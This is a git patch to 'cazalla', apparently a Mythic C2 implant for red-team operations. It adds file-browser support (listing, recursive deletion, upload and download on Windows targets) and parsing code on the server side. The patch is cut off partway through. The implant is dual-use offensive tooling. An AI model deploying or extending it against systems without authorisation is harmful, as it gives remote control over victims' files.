From eca961ac5022c697d6aaddf787dedc8a0c8155bb Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Fri, 31 Oct 2025 12:00:15 +0100 Subject: [PATCH] File Browser completed --- .../agent_code/cazalla/SistemadeFicheros.c | 174 +++++++++++- .../cazalla/agent_functions/download.py | 1 + .../cazalla/cazalla/agent_functions/ls.py | 261 +++++++++++++++++- .../cazalla/cazalla/agent_functions/rm.py | 60 ++++ .../cazalla/cazalla/agent_functions/upload.py | 25 ++ .../cazalla/translator/commands_from_c2.py | 20 +- .../translator/commands_from_implant.py | 166 +++++++++++ README.md | 73 ++++- 8 files changed, 739 insertions(+), 41 deletions(-) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c index 068b9e7..d9cea13 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -89,12 +89,28 @@ VOID ListarDirectorio(PAnalizador argumentos){ UINT32 tamanoPath = 0; SIZE_T tamano = 0; - char nombreFichero[MAX_FILENAME]; + char nombreFichero[MAX_FILENAME] = {0}; PCHAR fichero = getString(argumentos, &tamano); - strcpy(nombreFichero, fichero); + if (!fichero || tamano == 0) { + _err("Invalid path received"); + return; + } - _dbg("Filename: %s", nombreFichero); + // Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final + SIZE_T copyLen = (tamano < MAX_FILENAME - 1) ? tamano : MAX_FILENAME - 1; + memcpy(nombreFichero, fichero, copyLen); + nombreFichero[copyLen] = '\0'; + + // Limpiar cualquier carácter no imprimible o inválido al final + for (SIZE_T i = 0; i < copyLen; i++) { + if (nombreFichero[i] == '\0' || nombreFichero[i] == '\r' || nombreFichero[i] == '\n') { + nombreFichero[i] = '\0'; + break; + } + } + + _dbg("Filename: %s (length: %zu)", nombreFichero, strlen(nombreFichero)); PPaquete salida = nuevoPaquete(0, FALSE); @@ -127,25 +143,33 @@ VOID ListarDirectorio(PAnalizador argumentos){ } SYSTEMTIME systemTime, localTime; + DWORD fileCount = 0; do{ + // Skip . and .. entries + if (strcmp(datosEncontrados.cFileName, ".") == 0 || strcmp(datosEncontrados.cFileName, "..") == 0) { + continue; + } FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime); SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime); if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){ - PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", localTime.wMonth, localTime.wDay, localTime.wYear, localTime.wHour, localTime.wMinute, localTime.wSecond, datosEncontrados.cFileName); + fileCount++; }else{ PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", ((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow, localTime.wMonth, localTime.wDay, localTime.wYear, localTime.wHour, localTime.wMinute, localTime.wSecond, datosEncontrados.cFileName); + fileCount++; } } while (FindNextFileA(primerFichero, &datosEncontrados)); + + _dbg("[ls] Total files/directories listed: %lu", fileCount); FindClose(primerFichero); @@ -405,22 +429,45 @@ VOID BorrarDirectoriosHijos(char* rutaFichero){ } VOID EliminarRuta(PAnalizador argumentos){ +#define MAX_PATH_RM 0x4000 SIZE_T tamanoUuid = 36; PCHAR tareaUuid = getString(argumentos, &tamanoUuid); UINT32 nbArg = getInt32(argumentos); SIZE_T tamano = 0; - PCHAR ruta = getString(argumentos, &tamano); + PCHAR rutaRaw = getString(argumentos, &tamano); if (nbArg == 0) return; - if (EsDirectorio(ruta)){ + if (!rutaRaw || tamano == 0) { + _err("[rm] Invalid path received"); + goto end; + } + // Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final + char ruta[MAX_PATH_RM] = {0}; + SIZE_T copyLen = (tamano < MAX_PATH_RM - 1) ? tamano : MAX_PATH_RM - 1; + memcpy(ruta, rutaRaw, copyLen); + ruta[copyLen] = '\0'; + + // Limpiar cualquier carácter no imprimible o inválido al final + for (SIZE_T i = 0; i < copyLen; i++) { + if (ruta[i] == '\0' || ruta[i] == '\r' || ruta[i] == '\n') { + ruta[i] = '\0'; + break; + } + } + + _dbg("[rm] Deleting path: %s (length: %zu)", ruta, strlen(ruta)); + + if (EsDirectorio(ruta)){ + _dbg("[rm] Path is a directory, deleting recursively"); BorrarDirectoriosHijos(ruta); RemoveDirectoryA(ruta); }else{ + _dbg("[rm] Path is a file, deleting"); DeleteFileA(ruta); } @@ -445,7 +492,7 @@ VOID EliminarRuta(PAnalizador argumentos){ end:; // Cleanup - LocalFree(ruta); + LocalFree(rutaRaw); } // Helper function to detect credentials in file content (internal use only) @@ -1287,17 +1334,87 @@ VOID SubirFichero(PAnalizador argumentos) { SIZE_T tamano = 0; PCHAR file_id = getString(argumentos, &tamano); SIZE_T tamano2 = 0; - PCHAR rutaDestino = getString(argumentos, &tamano2); + PCHAR rutaDestinoRaw = getString(argumentos, &tamano2); - _dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino); + if (!rutaDestinoRaw || tamano2 == 0) { + _err("[upload] Invalid path received"); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Ruta inválida recibida\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } - // Normalizar path y verificar que no termine en backslash - char fullPath[2048] = {0}; - if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) { - strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1); + // Asegurar null-termination: copiar máximo tamano2-1 bytes y agregar null al final + #define MAX_PATH_UPLOAD 2048 + char rutaDestino[MAX_PATH_UPLOAD] = {0}; + SIZE_T copyLen = (tamano2 < MAX_PATH_UPLOAD - 1) ? tamano2 : MAX_PATH_UPLOAD - 1; + memcpy(rutaDestino, rutaDestinoRaw, copyLen); + rutaDestino[copyLen] = '\0'; + + // Limpiar cualquier carácter no imprimible o inválido (incluyendo caracteres nulos en medio) + SIZE_T cleanLen = 0; + for (SIZE_T i = 0; i < copyLen; i++) { + char c = rutaDestino[i]; + // Saltar caracteres nulos, retornos de carro y saltos de línea + if (c == '\0' || c == '\r' || c == '\n') { + break; + } + // Permitir caracteres válidos para rutas Windows (caracteres imprimibles comunes) + // Permitir: letras, números, espacios, y caracteres especiales comunes en rutas + if ((c >= 32 && c <= 126) || c == '\\' || c == '/' || c == ':') { + rutaDestino[cleanLen++] = c; + } + } + rutaDestino[cleanLen] = '\0'; + copyLen = cleanLen; + + _dbg("[upload] File ID: \"%s\", Ruta destino (raw len=%zu): \"%s\"", file_id, tamano2, rutaDestino); + + // Normalizar path: primero quitar dobles backslashes manualmente + char normalizedPath[MAX_PATH_UPLOAD] = {0}; + SIZE_T srcLen = strlen(rutaDestino); + SIZE_T j = 0; + for (SIZE_T i = 0; i < srcLen && j < sizeof(normalizedPath) - 1; i++) { + if (rutaDestino[i] == '\\' && i + 1 < srcLen && rutaDestino[i + 1] == '\\') { + // Doble backslash, usar solo uno (excepto si es al inicio como \\server) + if (i == 0 || (i == 2 && rutaDestino[1] == '\\')) { + // Mantener doble backslash para UNC paths (\\server\share) + normalizedPath[j++] = rutaDestino[i]; + } else { + // Doble backslash en medio, usar solo uno + normalizedPath[j++] = '\\'; + i++; // Saltar el siguiente backslash + } + } else { + normalizedPath[j++] = rutaDestino[i]; + } + } + normalizedPath[j] = '\0'; + + _dbg("[upload] Path después de normalizar dobles backslashes: \"%s\"", normalizedPath); + + // Intentar normalizar path usando GetFullPathNameA + char fullPath[MAX_PATH_UPLOAD] = {0}; + DWORD pathLenResult = GetFullPathNameA(normalizedPath, sizeof(fullPath), fullPath, NULL); + + if (pathLenResult == 0 || pathLenResult >= sizeof(fullPath)) { + // Si GetFullPathNameA falla, usar la ruta normalizada directamente + DWORD lastError = GetLastError(); + _dbg("[upload] GetFullPathNameA falló (ret=%lu, error=%lu) o path muy largo, usando ruta normalizada", pathLenResult, lastError); + strncpy(fullPath, normalizedPath, sizeof(fullPath) - 1); fullPath[sizeof(fullPath) - 1] = '\0'; } + // Asegurar null-termination en fullPath + fullPath[sizeof(fullPath) - 1] = '\0'; + + _dbg("[upload] Full path normalizado: \"%s\" (len=%zu)", fullPath, strlen(fullPath)); + // Verificar si el path es un directorio (termina en \ o es un directorio existente) SIZE_T pathLen = strlen(fullPath); if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) { @@ -1328,6 +1445,35 @@ VOID SubirFichero(PAnalizador argumentos) { goto end; } + // Verificar que el directorio padre exista, y crearlo si no existe + char parentDir[MAX_PATH_UPLOAD] = {0}; + strncpy(parentDir, fullPath, sizeof(parentDir) - 1); + parentDir[sizeof(parentDir) - 1] = '\0'; + + // Encontrar el último backslash + char* lastSlash = strrchr(parentDir, '\\'); + if (lastSlash && lastSlash > parentDir) { + *lastSlash = '\0'; + + // Verificar si el directorio padre existe + DWORD parentAttrib = GetFileAttributesA(parentDir); + if (parentAttrib == INVALID_FILE_ATTRIBUTES) { + // Directorio padre no existe, intentar crearlo + _dbg("[upload] Directorio padre no existe, creándolo: %s", parentDir); + + // Crear directorios padre recursivamente usando SHCreateDirectoryExA + // Como alternativa, usar una función simple que cree directorios uno por uno + if (!CreateDirectoryA(parentDir, NULL)) { + DWORD createError = GetLastError(); + if (createError != ERROR_ALREADY_EXISTS) { + _err("[upload] No se pudo crear directorio padre '%s'. Código: %lu", parentDir, createError); + } + } + } + } + + _dbg("[upload] Intentando crear archivo: %s", fullPath); + // Crear archivo de destino HANDLE hFile = CreateFileA( fullPath, @@ -1341,7 +1487,7 @@ VOID SubirFichero(PAnalizador argumentos) { if (hFile == INVALID_HANDLE_VALUE) { DWORD error = GetLastError(); - _err("[upload] No se pudo crear el archivo. Código: %lu\n", error); + _err("[upload] No se pudo crear el archivo '%s'. Código: %lu (GetLastError)", fullPath, error); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuestaError, tareaUuid, FALSE); diff --git a/Payload_Type/cazalla/cazalla/agent_functions/download.py b/Payload_Type/cazalla/cazalla/agent_functions/download.py index ffcf8d7..b43959e 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/download.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/download.py @@ -29,6 +29,7 @@ class DownloadCommand(CommandBase): help_cmd = "download " description = "Download a file from the target to the Mythic server" version = 1 + supported_ui_features = ["file_browser:download"] author = "@KaseyaOFSTeam" argument_class = DownloadArguments diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ls.py b/Payload_Type/cazalla/cazalla/agent_functions/ls.py index dce02d7..93874c0 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/ls.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/ls.py @@ -2,6 +2,8 @@ from mythic_container.MythicCommandBase import * from mythic_container.MythicRPC import * import re import string, json +import os +from datetime import datetime import logging @@ -22,27 +24,75 @@ class LsArguments(TaskArguments): ] async def parse_arguments(self): - logging.info("Parse Aguments") - pass + if len(self.command_line) > 0: + # Check if it's JSON from File Browser + if self.command_line[0] == '{': + try: + temp_json = json.loads(self.command_line) + if 'host' in temp_json: + # File Browser format: combine path + file + full_path = temp_json.get('full_path', '') + if full_path: + self.add_arg("path", full_path) + else: + path = temp_json.get('path', '') + file = temp_json.get('file', '') + if path and file: + # Normalize path separators + if not path.endswith('\\') and not path.endswith('/'): + path = path + "\\" + self.add_arg("path", path + file) + elif path: + self.add_arg("path", path) + else: + self.add_arg("path", ".\\*") + self.add_arg("host", temp_json.get('host', '')) + self.add_arg("file_browser", "true") + return + except: + pass + # Regular command line usage + self.add_arg("path", self.command_line) + self.add_arg("host", "") + self.add_arg("file_browser", "false") + else: + # No arguments, list current directory + self.add_arg("path", ".\\*") + self.add_arg("host", "") + self.add_arg("file_browser", "false") async def parse_dictionary(self, dictionary): - logging.info("Parse Dictionary") - if "host" in dictionary: - + logging.info(f"Parse Dictionary - {dictionary}") + if "host" in dictionary: + # File Browser format logging.info(f"Command came from File Browser UI - {dictionary}") - self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"]) - # self.add_arg("file_browser", type=ParameterType.Boolean, value=True) + full_path = dictionary.get('full_path', '') + if full_path: + self.add_arg("path", full_path) + else: + path = dictionary.get("path", '') + file = dictionary.get("file", '') + if path and file: + if not path.endswith('\\') and not path.endswith('/'): + path = path + "\\" + self.add_arg("path", path + file) + elif path: + self.add_arg("path", path) + else: + self.add_arg("path", ".\\*") + self.add_arg("host", dictionary.get("host", "")) + self.add_arg("file_browser", "true") else: + # Command line usage logging.info(f"Command came from CMDLINE - {dictionary}") - arg_path = dictionary.get("path") if arg_path: self.add_arg("path", arg_path) else: - self.add_arg("path", ".\\*") # List current directory if no args - - self.add_arg("file_browser", "true") - + self.add_arg("path", ".\\*") + self.add_arg("host", "") + self.add_arg("file_browser", "false") + self.load_args_from_dictionary(dictionary) class LsCommand(CommandBase): @@ -98,4 +148,191 @@ class LsCommand(CommandBase): async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + + # Log that process_response was called + logging.info(f"[FILE_BROWSER] process_response called for task {task.Task.ID}") + logging.info(f"[FILE_BROWSER] response type: {type(response)}") + if response: + logging.info(f"[FILE_BROWSER] response keys: {list(response.keys()) if isinstance(response, dict) else 'not a dict'}") + + # Check if this was from File Browser + is_file_browser = task.args.get_arg("file_browser") == "true" + logging.info(f"[FILE_BROWSER] is_file_browser={is_file_browser}") + + # Check if translator already parsed file_browser format + # The translator automatically detects and parses File Browser format, + # so we only need to enhance it with host info if needed + if isinstance(response, dict) and "file_browser" in response: + logging.info(f"[FILE_BROWSER] Translator already parsed file_browser, just adding host if missing") + file_browser_data = response.get("file_browser") + if file_browser_data and not file_browser_data.get("host"): + host = task.args.get_arg("host") or "" + if not host and task.Callback: + host = task.Callback.Host + file_browser_data["host"] = host + resp.ProcessResponse = response + return resp + + # Only parse if translator didn't already do it (fallback for non-File Browser commands) + if is_file_browser and response: + try: + # Agent output format: + # Line 1: directory path + # Lines 2+: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME + + output_text = response.get("user_output", "") + if not output_text: + return resp + + lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()] + if len(lines) < 1: + logging.warning("[FILE_BROWSER] No lines in output") + return resp + + logging.info(f"[FILE_BROWSER] Parsing {len(lines)} lines from output") + logging.info(f"[FILE_BROWSER] First few lines: {lines[:3]}") + + # First line is the directory path being listed + dir_path = lines[0].strip() + + # Normalize path + if dir_path.endswith('\\*'): + dir_path = dir_path[:-2] + if dir_path.endswith('*'): + dir_path = dir_path[:-1] + dir_path = dir_path.rstrip('\\/') + + # Determine parent path + if dir_path.endswith(':\\') or dir_path == '': + parent_path = "" + else: + parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else "" + + # Get hostname + host = task.args.get_arg("host") or "" + if not host: + host = task.Callback.Host if task.Callback else "" + + # Determine if the listed item is a file or directory + # Since we're listing a directory, it's typically not a file + is_file = False + name = os.path.basename(dir_path) if dir_path else "" + if not name: + # Root directory case (e.g., C:\) + if len(dir_path) == 2 and dir_path[1] == ':': + name = dir_path[0] + ':' + parent_path = "" + else: + name = dir_path + + # Parse file/directory entries + # Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME + files = [] + for i, line in enumerate(lines[1:], 1): # Start from line 1 (skip path line) + parts = line.split('\t') + logging.debug(f"[FILE_BROWSER] Line {i}: {line[:100]}... (parts: {len(parts)})") + if len(parts) >= 4: + file_type = parts[0].strip() # D or F + size_str = parts[1].strip() + datetime_str = parts[2].strip() # MM/DD/YYYY HH:MM:SS (already combined) + file_name = parts[3].strip() if len(parts) > 3 else "" + + # Skip empty lines or invalid entries + if not file_type or not file_name: + continue + + # Skip . and .. + if file_name in ['.', '..']: + continue + + try: + # Parse date: MM/DD/YYYY HH:MM:SS + date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S") + modify_time_ms = int(date_obj.timestamp() * 1000) + # Use modify_time as access_time (agent doesn't provide separate access time) + access_time_ms = modify_time_ms + + # Filter out invalid dates (before 1980 or after year 2100) + # This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues) + if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01 + logging.warning(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms}, date: {datetime_str})") + continue + except Exception as date_err: + logging.warning(f"Could not parse date '{datetime_str}': {date_err}") + # Skip files with unparseable dates + continue + + try: + # Parse size - remove any text like "b" or "by" at the end + size_str_clean = re.sub(r'[^\d]', '', size_str) # Remove all non-digits + if size_str_clean: + size = int(size_str_clean) if file_type == 'F' else 0 + else: + size = 0 + except Exception as size_err: + logging.warning(f"Could not parse size '{size_str}': {size_err}") + size = 0 + + # Get file attributes as permissions (Windows specific) + permissions = { + "attributes": "DIRECTORY" if file_type == 'D' else "FILE" + } + + # Skip files with invalid names or empty names + if file_name and file_name.strip() and file_name not in ['.', '..']: + files.append({ + "is_file": file_type == 'F', + "permissions": permissions, + "name": file_name, + "access_time": access_time_ms, + "modify_time": modify_time_ms, + "size": size + }) + logging.debug(f"[FILE_BROWSER] Added: {file_name} ({'file' if file_type == 'F' else 'dir'}, size={size})") + else: + logging.warning(f"[FILE_BROWSER] Skipping line {i} - insufficient parts: {len(parts)}") + + # Remove duplicates by name to ensure clean response + seen_files = {} + unique_files = [] + for f in files: + file_name = f.get("name", "") + # Only add if we haven't seen this file name before + if file_name and file_name not in seen_files: + seen_files[file_name] = True + unique_files.append(f) + + # Use current timestamp for modify_time to help Mythic identify fresh responses + import time + current_timestamp_ms = int(time.time() * 1000) + + # Build file_browser response + file_browser_data = { + "host": host, + "is_file": is_file, + "permissions": {"attributes": "DIRECTORY"} if not is_file else {"attributes": "FILE"}, + "name": name, + "parent_path": parent_path, + "success": True, + "access_time": current_timestamp_ms, # Use current time to help with cache invalidation + "modify_time": current_timestamp_ms, # Use current time to help with cache invalidation + "size": 0, + "update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted + "files": unique_files # Use deduplicated files list - complete and fresh + } + + logging.info(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)") + + # Add file_browser to response + # Merge with existing response (like rm.py does) + resp.ProcessResponse = response if isinstance(response, dict) else {} + resp.ProcessResponse["file_browser"] = file_browser_data + logging.info(f"[FILE_BROWSER] Added {len(files)} files/directories to file_browser response") + logging.info(f"[FILE_BROWSER] ProcessResponse keys: {list(resp.ProcessResponse.keys())}") + + except Exception as e: + logging.error(f"Error parsing file browser response: {str(e)}") + import traceback + logging.error(traceback.format_exc()) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rm.py b/Payload_Type/cazalla/cazalla/agent_functions/rm.py index f28b5fb..63796ac 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/rm.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/rm.py @@ -1,6 +1,8 @@ from mythic_container.MythicCommandBase import * from mythic_container.MythicRPC import * +import logging +logging.basicConfig(level=logging.INFO) class RmArguments(TaskArguments): def __init__(self, command_line, **kwargs): @@ -22,7 +24,44 @@ class RmArguments(TaskArguments): self.add_arg("path", self.command_line) async def parse_dictionary(self, dictionary): + logging.info(f"[rm] Parse Dictionary - {dictionary}") + # Load args first (will set path from dictionary) self.load_args_from_dictionary(dictionary) + + # Then override with processed values if coming from File Browser + if "host" in dictionary: + # File Browser format + logging.info(f"[rm] Command came from File Browser UI - {dictionary}") + full_path = dictionary.get('full_path', '') + if full_path: + self.add_arg("path", full_path) + logging.info(f"[rm] Using full_path: {full_path}") + else: + path = dictionary.get("path", '') + file = dictionary.get("file", '') + if path and file: + # Combine path and file + if not path.endswith('\\') and not path.endswith('/'): + path = path + "\\" + combined_path = path + file + self.add_arg("path", combined_path) + logging.info(f"[rm] Combined path + file: {combined_path}") + elif path: + self.add_arg("path", path) + logging.info(f"[rm] Using path only: {path}") + else: + raise ValueError("[rm] File Browser request missing both path and file") + self.add_arg("host", dictionary.get("host", "")) + else: + # Command line usage - already loaded from dictionary, just verify + logging.info(f"[rm] Command came from CMDLINE - {dictionary}") + arg_path = self.get_arg("path") + if not arg_path: + arg_path = dictionary.get("path") + if arg_path: + self.add_arg("path", arg_path) + else: + raise ValueError("[rm] No path specified") class RmCommand(CommandBase): cmd = "rm" @@ -53,4 +92,25 @@ class RmCommand(CommandBase): async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + + # Check if removal was successful by checking user_output + if response: + user_output = response.get("user_output", "") + # If output doesn't contain error indicators, assume success + if user_output and not any(err in user_output.lower() for err in ["error", "failed", "cannot", "cannot"]): + # Get the path that was deleted + path = task.args.get_arg("path") + if path: + # Get hostname + host = task.Callback.Host if task.Callback else "" + + # Add removed_files array to response (merge with existing response) + resp.ProcessResponse = response if isinstance(response, dict) else {} + resp.ProcessResponse["removed_files"] = [ + { + "host": host, + "path": path + } + ] + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/upload.py b/Payload_Type/cazalla/cazalla/agent_functions/upload.py index 8ff3d50..c9e1083 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/upload.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/upload.py @@ -55,6 +55,7 @@ class UploadCommand(CommandBase): help_cmd = "upload " description = "Upload a file from the Mythic server to the target" version = 1 + supported_ui_features = ["file_browser:upload"] author = "@KaseyaOFSTeam" argument_class = UploadArguments @@ -79,12 +80,36 @@ class UploadCommand(CommandBase): file_info = file_search.Files[0] filename = file_info.Filename + # Normalize path: replace double backslashes with single backslash + if path: + while "\\\\" in path: + path = path.replace("\\\\", "\\") + # If path is empty, use current directory + filename if not path or path.strip() == "": path = ".\\" + filename # If path ends with backslash or forward slash, append filename elif path.endswith("\\") or path.endswith("/"): path = path.rstrip("\\/") + "\\" + filename + # If path doesn't end with a backslash, check if it's a directory + # If it's a directory (or looks like one), append filename + else: + import os + path_normalized = path.rstrip("\\/") + + # Get the last component of the path (filename or directory name) + path_basename = os.path.basename(path_normalized) + + # Heuristic: If the basename doesn't have a file extension, + # or if it's just a drive letter (like "C:"), treat as directory + has_extension = '.' in path_basename + is_drive_letter = len(path_basename) == 2 and path_basename[1] == ':' + + # If no extension and not empty, likely a directory - append filename + # Also treat drive letters as directories + if is_drive_letter or (not has_extension and path_basename): + path = path_normalized + "\\" + filename + # Otherwise, assume it's already a full file path and use as-is response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}" # Update the path argument with the final path (including filename if needed) diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 6833df9..f2bbc71 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -62,18 +62,30 @@ def responseTasking(tasks): data = command_code + task_id if task["parameters"] != "": parameters = json.loads(task["parameters"]) - # Normalize paths for upload command - replace double backslashes - if command_to_run == "upload" and "path" in parameters: + # Normalize paths for upload and ls commands - replace double backslashes + if command_to_run in ["upload", "ls", "download", "rm", "cat", "mkdir", "cp"] and "path" in parameters: path = parameters["path"] if path: # Replace all sequences of double backslashes with single backslash while "\\\\" in path: path = path.replace("\\\\", "\\") + # Ensure path doesn't have trailing nulls or invalid characters + path = path.rstrip('\x00') parameters["path"] = path + print(f"[DEBUG] Normalized path for {command_to_run}: {repr(path)}") data += len(parameters).to_bytes(4,"big") for param in parameters: - data += len(parameters[param]).to_bytes(4, "big") - data += parameters[param].encode() + param_value = parameters[param] + # Ensure parameter is a string and doesn't contain null bytes + if isinstance(param_value, str): + param_value = param_value.rstrip('\x00') + param_bytes = param_value.encode('utf-8') + # Remove any null bytes from the encoded string + param_bytes = param_bytes.replace(b'\x00', b'') + else: + param_bytes = str(param_value).encode('utf-8') + data += len(param_bytes).to_bytes(4, "big") + data += param_bytes else: data += b"\x00\x00\x00\x00" diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 5b97999..d41f14d 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -167,6 +167,146 @@ def parse_process_list(output_text): return processes +def parse_file_browser_list(output_text): + """ + Parsea el texto tab-separated de lista de archivos al formato JSON del File Browser. + Formato esperado del agente: path\nD/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME\n... + Formato requerido por Mythic File Browser según docs: + https://docs.mythic-c2.net/customizing/hooking-features/file-browser + """ + import os + from datetime import datetime + import re + + lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()] + if len(lines) < 2: + return None + + try: + # Primera línea es el path del directorio + dir_path = lines[0].strip() + + # Normalize path + if dir_path.endswith('\\*'): + dir_path = dir_path[:-2] + if dir_path.endswith('*'): + dir_path = dir_path[:-1] + dir_path = dir_path.rstrip('\\/') + + # Determine parent path + if dir_path.endswith(':\\') or dir_path == '': + parent_path = "" + else: + parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else "" + + # Determine name + name = os.path.basename(dir_path) if dir_path else "" + if not name: + if len(dir_path) == 2 and dir_path[1] == ':': + name = dir_path[0] + ':' + parent_path = "" + else: + name = dir_path + + # Parse file/directory entries + # Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME + files = [] + for line in lines[1:]: + parts = line.split('\t') + if len(parts) >= 4: + file_type = parts[0].strip() # D or F + size_str = parts[1].strip() + datetime_str = parts[2].strip() + file_name = parts[3].strip() if len(parts) > 3 else "" + + # Skip empty or invalid entries + if not file_type or not file_name: + continue + + # Skip . and .. + if file_name in ['.', '..']: + continue + + try: + # Parse date: MM/DD/YYYY HH:MM:SS + date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S") + modify_time_ms = int(date_obj.timestamp() * 1000) + access_time_ms = modify_time_ms + + # Filter out invalid dates (before 1980 or after year 2100) + # This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues) + if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01 + print(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms})") + continue + except: + modify_time_ms = 0 + access_time_ms = 0 + # Skip files with unparseable dates + print(f"[FILE_BROWSER] Skipping file with unparseable date: {file_name}") + continue + + try: + # Parse size - remove any non-digit characters + size_str_clean = re.sub(r'[^\d]', '', size_str) + if size_str_clean: + size = int(size_str_clean) if file_type == 'F' else 0 + else: + size = 0 + except: + size = 0 + + permissions = { + "attributes": "DIRECTORY" if file_type == 'D' else "FILE" + } + + files.append({ + "is_file": file_type == 'F', + "permissions": permissions, + "name": file_name, + "access_time": access_time_ms, + "modify_time": modify_time_ms, + "size": size + }) + + # Build file_browser response + # Remove any duplicate files by name to ensure clean response + seen_files = {} + unique_files = [] + for f in files: + file_name = f.get("name", "") + # Only add if we haven't seen this file name before + if file_name and file_name not in seen_files: + seen_files[file_name] = True + unique_files.append(f) + + # Use current timestamp for modify_time to help Mythic identify fresh responses + import time + current_timestamp_ms = int(time.time() * 1000) + + file_browser_data = { + "host": "", # Will be filled by Mythic based on callback + "is_file": False, + "permissions": {"attributes": "DIRECTORY"}, + "name": name, + "parent_path": parent_path, + "success": True, + "access_time": current_timestamp_ms, # Use current time to help with cache invalidation + "modify_time": current_timestamp_ms, # Use current time to help with cache invalidation + "size": 0, + "update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted + "files": unique_files # Use deduplicated files list - complete and fresh + } + + print(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)") + + return file_browser_data + except Exception as e: + print(f"[ERROR] Error parseando lista de archivos: {e}") + import traceback + traceback.print_exc() + return None + + def postResponse(data): print(f"Tamaño del Base64 recibido: {len(data)} bytes") print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}") @@ -681,6 +821,32 @@ def postResponse(data): jsonTask["processes"] = processes print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos") + # Detectar y convertir formato File Browser (formato: path\nD/F\tSIZE\tDATE\tNAME) + # El formato del agente es: primera línea es el path, luego líneas con D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME + # Solo procesar si NO es una lista de procesos (para evitar conflictos) + file_browser_data = None + if not is_process_list and decoded_output and '\t' in decoded_output and '\n' in decoded_output: + lines = [l.strip() for l in decoded_output.strip().split('\n') if l.strip()] + if len(lines) >= 2: + # Verificar si el formato es de lista de archivos + # Primera línea debería ser un path (contiene :\ o \\) + first_line = lines[0] + # Segunda línea debería empezar con D o F seguido de tab + if len(lines) > 1: + second_line = lines[1] + parts = second_line.split('\t') + # Verificar formato: 